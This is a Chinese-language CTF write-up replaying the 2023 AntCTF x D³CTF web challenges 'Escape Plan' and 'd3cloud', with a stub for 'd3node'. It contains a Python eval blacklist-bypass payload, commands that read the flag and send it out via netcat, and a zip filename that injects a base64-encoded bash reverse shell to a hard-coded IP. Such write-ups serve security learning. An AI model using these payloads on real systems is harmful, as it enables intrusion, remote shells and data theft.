2023 AntCTF x D³CTF 复现
Drunkbaby Lv6

2023 AntCTF x D³CTF 复现,爆零太痛苦了

其实比赛的时候好几个都感觉是临门一脚,太难过了,和红名谷一样

Escape Plan

这个题目觉得是自己队伍想复杂了,且没有很好的进行调试,题目源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64

from flask import Flask, request
from os import system

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""

try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"

black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'

msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"

return msg

简单来说就是要过黑名单,其实在这里我们队伍最早思考到的 Payload 是

1
2
raw_cmd = "\\x5f\\x5fim\\x70ort\\x5f\\x5f(\\x27os\\x27)\\x2esystem(\\x27ls\\x27)"
eval(f'eval("{raw_cmd}")')

但是因为 eval 被过滤了,不能打,且十六进制编码当中,存在数字,当然数字这里我们也提出了绕过的方法,用 abs(False-True) == 1 的特性来构造。最后还是没构造出来,因为在十六进制转换当中需要替换这一串字符有些许难度,导致当时进度停滞。

后续看其他师傅的 wp 学到了 eval 可用 eval 来绕过

我们可以通过以下命令构造一个 Request 请求

1
eval(repr(request)[abs(False-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True-True):-abs(False-True-True-True-True-True-True-True-True-True)])

以下可以命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

url="http://139.196.153.118:31594/"

def translate(x):
ret = "abs(False"
for i in range(x):
ret += "-True"
ret+=")"
return ret

t = translate(len("<Request '"+url+"?1="))
code = '''eval(repr(request)[{}:-abs(False-True-True-True-True-True-True-True-True-True)])'''.format(t)
enres = base64.b64encode(code.encode()).decode()
print(enres)

这个是队内 lx56 师傅的思路,相当于是写了一个 Python 的一句话木马

1
http://139.196.153.118:31594/?1=eval(list(request.form).pop(1))
1
cmd=772FdmFsKHJlcHIocmVxdWVzdClbYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKTotYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKV0p&__import__('os').system('')=1111111

curl 用不了但 nc 可用,先暂存 flag

1
cmd=772FdmFsKHJlcHIocmVxdWVzdClbYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKTotYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKV0p&__import__('os').system('/readflag > /tmp/ttt')=1111111

然后再读取 flag

1
cmd=772FdmFsKHJlcHIocmVxdWVzdClbYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKTotYWJzKEZhbHNlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlLVRydWUtVHJ1ZS1UcnVlKV0p&__import__('os').system('nc vps port < /tmp/ttt')=1111111

d3cloud

/admin 接口,用户名密码为 admin,admin

Laravel 版本 5.5.50

一些其他信息

/admin 下可以找到一个 FilesystemAdapter.php,这个文件应该是做了 cloud manager 的业务(不确定)。原本的 laravel 里面,可以上传头像处上传压缩包,然后会自动解压,但是出题人把 zip 的自动解压功能去掉了,一时不知道该怎么攻击。

这是 diff 多出来的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function putFileAs($path, $file, $name, $options = [])
{
$supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt');
$file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION));
if (!in_array($file_type, $supported_file)) {
return false;
}
$stream = fopen($file->getRealPath(), 'r+');
$result = $this->put(
$path = trim($path.'/'.$name, '/'), $stream, $options
);
if (is_resource($stream)) {
fclose($stream);
}
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() .
$name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}
return $result ? $path : false;
}

很明显还是上传 zip 类似的攻击,但是上传上去我们并不知道路径是在哪儿,所以想到直接用 zip 进行命令执行

修改文件名来命令注入如下,实际弹 shell 的时候似乎有点问题,所以就改为了复制文件

1
2
1;echo YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvMjMzMyAwPiYx|base64 -
d|bash;.zip

再去访问 flag

d3node

拿到题目,f12 看到了 hint1

这里调用了 exec() 方法,有可能造成一定的安全隐患,不清楚,继续看下去。

 评论